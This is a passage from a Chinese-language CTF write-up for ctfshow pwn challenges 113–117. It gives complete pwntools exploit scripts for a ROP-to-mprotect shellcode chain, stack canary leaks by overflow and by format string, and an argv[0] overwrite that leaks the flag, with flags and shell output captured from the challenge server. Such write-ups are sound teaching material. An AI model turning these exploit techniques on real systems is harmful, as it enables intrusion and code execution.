1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ❯ ROPgadget --binary ./libc/libc6_2.27-3ubuntu1_amd64.so --only "pop|ret" | grep rsi 0x00000000001306d9 : pop rdx ; pop rsi ; ret 0x00000000000221a1 : pop rsi ; pop r15 ; pop rbp ; ret 0x000000000002155d : pop rsi ; pop r15 ; ret 0x000000000007dd2e : pop rsi ; pop rbp ; ret 0x0000000000023e6a : pop rsi ; ret ❯ ROPgadget --binary ./libc/libc6_2.27-3ubuntu1_amd64.so --only "pop|ret" | grep rdx 0x00000000001663b1 : pop rax ; pop rdx ; pop rbx ; ret 0x00000000001306b4 : pop rdx ; pop r10 ; ret 0x000000000011c65c : pop rdx ; pop rbx ; ret 0x0000000000103cc9 : pop rdx ; pop rcx ; pop rbx ; ret 0x00000000001306d9 : pop rdx ; pop rsi ; ret 0x0000000000001b96 : pop rdx ; ret 0x0000000000100972 : pop rdx ; ret 0xffff
因为是在 libc 中找的地址,是偏移地址,所以要加上基地址才是真实地址 :
1 2 pop_rsi_ret_addr = libc_base + 0x23e6a pop_rdx_ret_addr = libc_base + 0x1b96
使用 mprotect 函数修改 bss 段权限,然后回去调用 bss_addr:
1 2 3 payload2 += p64(pop_rdi_ret_addr) + p64(bss_addr) + p64(pop_rsi_ret_addr) + p64(0x1000 ) payload2 += p64(pop_rdx_ret_addr) + p64(7 ) + p64(mprotect_addr) + p64(bss_addr) io.sendline(payload2)
构造 shellcode
1 2 3 4 5 6 shellcode = asm(shellcraft.cat("/flag" )) io.sendline(shellcode) io.interactive()
拿到 flag
1 2 3 4 \x00[DEBUG] Received 0x59 bytes: b'ctfshow{542da4c9-13cd-44da-9369-f63ff73c7f07}\n' b'timeout: the monitored command dumped core\n' ctfshow{542da4c9-13cd-44da-9369-f63ff73c7f07}
pwn114 现在你应该学会了吧
1 2 3 4 5 6 7 [*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled Stripped: No
IDA
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 int __cdecl main (int argc, const char **argv, const char **envp) { char s1[10 ]; char s[1004 ]; int v6; init(argc, argv, envp); logo(argc); signal(11 , sigsegv_handler); flagishere(11LL ); while ( 1 ) { puts ("Do you know Canary now?" ); puts ("Input 'Yes' or 'No': " ); __isoc99_scanf("%s" , s1); if ( !strcmp (s1, "Yes" ) ) break ; if ( !strcmp (s1, "No" ) ) { puts ("I'm sorry to hear that! Come on." ); return 0 ; } puts ("Invalid input, please enter again!" ); } puts ("Ok,I know you got it!" ); puts ("Tell me you want: " ); do v6 = getchar(); while ( v6 != '\n' && v6 != -1 ); fgets(s, 1000 , stdin ); ctfshow(s); return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 12 char *flagishere () { FILE *stream; stream = fopen("/ctfshow_flag" , "r" ); if ( !stream ) { puts ("/ctfshow_flag: No such file or directory." ); exit (0 ); } return fgets(flag, 64 , stream); }
输入300个垃圾字符莫名其妙就输出 flag 了….。呃??????
1 2 3 4 5 6 7 Do you know Canary now? Input 'Yes' or 'No': Yes Ok,I know you got it! Tell me you want: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac ctfshow{d4c94caf-d30a-458d-811b-b338c74e60d4}
pwn115 Bypass Canary 姿势1
1 2 3 4 5 6 7 [*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
IDA
1 2 3 4 5 6 7 8 9 10 11 12 13 14 unsigned int ctfshow () { int i; char buf[200 ]; unsigned int v3; v3 = __readgsdword(0x14u ); for ( i = 0 ; i <= 1 ; ++i ) { read(0 , buf, 0x200u ); printf (buf); } return __readgsdword(0x14u ) ^ v3; }
1 2 3 4 int backdoor () { return system("/bin/sh" ); }
IDA 划的栈空间
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 -000000D4 buf db ? -000000D3 db ? ; undefined -000000D2 db ? ; undefined -000000D1 db ? ; undefined -000000D0 db ? ; undefined -000000CF db ? ; undefined -000000CE db ? ; undefined -000000CD db ? ; undefined -000000CC db ? ; undefined -000000CB db ? ; undefined -000000CA db ? ; undefined ... -0000000C var_C dd ? -00000008 db ? ; undefined -00000007 db ? ; undefined -00000006 db ? ; undefined -00000005 db ? ; undefined -00000004 var_4 dd ? +00000000 s db 4 dup(?) +00000004 r db 4 dup(?)
return __readgsdword(0x14u) ^ v3;
很明显的检测 canary 有没有被修改,双击 v3发现紧贴着 buf 那就可以直接 padding 到 v3,泄露出 canary 的值。 然后再 padding 到 ret,改 ret_addr 为 backdoor_addr , get shell
泄露 canary
1 2 3 4 5 6 7 padding = 200 payload = b'a' * (padding - 1 ) + b'A' io.recvuntil("Try Bypass Me!\n" ) io.sendline(payload) io.recvuntil('A' ) canary = u32(io.recv(4 )) print ("+++++++++++ canary:" ,hex (canary))
1 +++++++++++ canary: 0x866ed80a
发现最后的0x00 变为了 0x0a ? 猜测是换行也被输出了? 修改为 canary = u32(io.recv(4)) - 0x0a
即可正常泄露
拿到 canary 后就可以直接覆盖 ret 地址,get shell
1 2 3 4 5 backdoor_addr = 0x80485A6 payload = b'a' * padding + p32(canary) + b'a' * 12 + p32(backdoor_addr) io.send(payload) io.interactive()
完整脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *context(arch='i386' , os='linux' , log_level='debug' ) io = remote('pwn.challenge.ctf.show' ,28115 ) elf = ELF("./pwn" ) libc = ELF("./libc/libc6_2.27-3ubuntu1_amd64.so" ) padding = 200 payload = b'a' * (padding - 1 ) + b'A' io.recvuntil("Try Bypass Me!\n" ) io.sendline(payload) io.recvuntil("A" ) canary = u32(io.recv(4 )) - 0xa print ("+++++++++++ canary:" ,hex (canary))backdoor_addr = 0x80485A6 payload = b'a' * padding + p32(canary) + b'a' * 12 + p32(backdoor_addr) io.send(payload) io.interactive()
也可以通过格式化字符串漏洞枚举泄露 canary 值 (暴力枚举,发现偏移55处很像 canary)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from pwn import *import timecontext.log_level = 'error' for i in range (1 , 11 ): may_canary_num = 55 io = remote('pwn.challenge.ctf.show' , 28115 ) io.recvuntil(b"Try Bypass Me!\n" ) payload = f"aaaa%{may_canary_num} $p" .encode() io.sendline(payload) io.recvuntil(b"aaaa" ) resp = io.recvline(timeout=1 ).strip() try : decoded = resp.decode() print (f"[{i} ] => {decoded} " ) except Exception: print (f"[{i} ] => {resp.hex ()} (raw bytes)" ) io.close() time.sleep(0.1 )
1 2 3 4 5 6 7 8 9 10 11 ❯ python3 ../../scripts/canary_crack.py [1] => 0x2605f00 [2] => 0x44a0c500 [3] => 0xbd24ca00 [4] => 0x762bfc00 [5] => 0xd8b2d400 [6] => 0x56506600 [7] => 0x13619d00 [8] => 0xc628f900 [9] => 0x1e04f500 [10] => 0x30652500
完整脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *context(arch='i386' , os='linux' , log_level='debug' ) io = remote('pwn.challenge.ctf.show' ,28214 ) elf = ELF("./pwn" ) libc = ELF("./libc/libc6_2.27-3ubuntu1_amd64.so" ) payload = b'%55$p' io.recvuntil("Try Bypass Me!\n" ) io.sendline(payload) canary = eval (io.recvline().strip()) print ("+++++++++++ canary:" ,hex (canary))backdoor_addr = 0x80485A6 payload = b'a' * 200 + p32(canary) + b'a' * 12 + p32(backdoor_addr) io.send(payload) io.interactive()
pwn116 Bypass Canary 姿势2
1 2 3 4 5 6 7 [*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn' Arch: i386-32 -little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000 ) Stripped: No
IDA
1 2 3 4 5 6 7 8 9 10 11 12 unsigned int ctfshow () { char buf[32 ]; unsigned int v2; v2 = __readgsdword(0x14u ); puts ("Look me & use me!" ); read(0 , buf, 0x50u ); printf (buf); read(0 , buf, 0x50u ); return __readgsdword(0x14u ) ^ v2; }
1 2 3 4 int qwerasd () { return system("/bin/sh" ); }
printf(buf)
格式化字符串漏洞并且存在后门函数,先泄露 canary 用脚本枚举可能的 canary
1 2 3 4 5 6 7 8 ❯ python3 ./scripts/canary_crack.py ... [13] => (nil) [14] => 0x2 [15] => 0x682a8e00 [*] Potential Canary at position 15: 0x682a8e00 [16] => 0x1 ...
看到第十五位偏移很像,再次验证:
1 2 3 4 5 6 7 8 9 10 11 ❯ python3 ./scripts/canary_crack.py [1] => 0xa70e000 [2] => 0x85a12e00 [3] => 0xf215e300 [4] => 0xf5505600 [5] => 0xa68ac700 [6] => 0x7b022200 [7] => 0xd32eee00 [8] => 0xd81a1e00 [9] => 0x8c1efc00 [10] => 0x79740900
确定15处偏移很大概率就是 canary ,尝试打一遍
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *context(arch='i386' , os='linux' , log_level='debug' ) io = remote('pwn.challenge.ctf.show' ,28196 ) elf = ELF("./pwn" ) libc = ELF("./libc/libc6_2.27-3ubuntu1_amd64.so" ) io.recvuntil("Look me & use me!\n" ) payload= b'%15$p' io.sendline(payload) canary = eval (io.recvline().strip()) print ("++++++++++++++ canary:" ,hex (canary))shell_addr = 0x8048586 payload = b'a' * 32 + p32(canary) + b'a' * 12 + p32(shell_addr) io.sendline(payload) io.interactive()
1 2 3 4 5 6 7 [*] Switching to interactive mode \xfb\xf7$ id [DEBUG] Sent 0x3 bytes: b'id\n' [DEBUG] Received 0x1e bytes: b'uid=1000 gid=1000 groups=1000\n' uid=1000 gid=1000 groups =1000
pwn117 Bypass Canary 姿势3
1 2 3 4 5 6 7 [*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
IDA
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 int __cdecl main (int argc, const char **argv, const char **envp) { int fd; char v5[264 ]; unsigned __int64 v6; v6 = __readfsqword(0x28u ); logo(); init(); fd = open("/flag" , 0 ); if ( !fd ) { puts ("No such file or directory." ); exit (-1 ); } read(fd, &buf, 0x100u LL); puts ("Haha,It has reduced you a lot of difficulty!" ); gets((__int64)v5); return 0 ; }
flag 打开并 read 到了 buf 地址中去, gets 存在缓冲区溢出漏洞。
++++++++++++++++ canary 检测失败时会调⽤stack_chk_fail 函数, 输出⼀段报错
stack_chk_fail()函数定义如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 eglibc-2.19 /debug/stack_chk_fail.c void __attribute__ ((noreturn )) __stack_chk_fail (void ){ __fortify_fail ("stack smashing detected" ); } void __attribute__ ((noreturn )) internal_function __fortify_fail (const char *msg){ while (1 ) __libc_message (2 , "*** %s ***: %s terminatedn" , msg, __libc_argv[0 ] ?: "<unknown>" ); }
报错会输出⽂件名,覆盖⽂件名指针,从⽽实现任意读,也就是覆盖变量__libc_argv[0]
这样我们就可以在 canary 检测失败时,输出我们想要的 flag 值
所以我们要找 argv[0]
的位置: 找文件名和输入 aaaa
处的位置 , 直接 padding 然后就可以导致泄露 flag
1 2 3 4 5 6 7 8 9 10 11 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) io = remote('pwn.challenge.ctf.show' ,28180 ) elf = ELF("./pwn" ) libc = ELF("./libc/libc6_2.27-3ubuntu1_amd64.so" ) buf_addr = 0x6020A0 payload = b'a' * 504 + p64(buf_addr) io.sendline(payload) io.interactive()
1 *** stack smashing detected ***: ctfshow{a5a7831a-9693-42d3-b82c-0d0741678368}
(还会持续更新…..)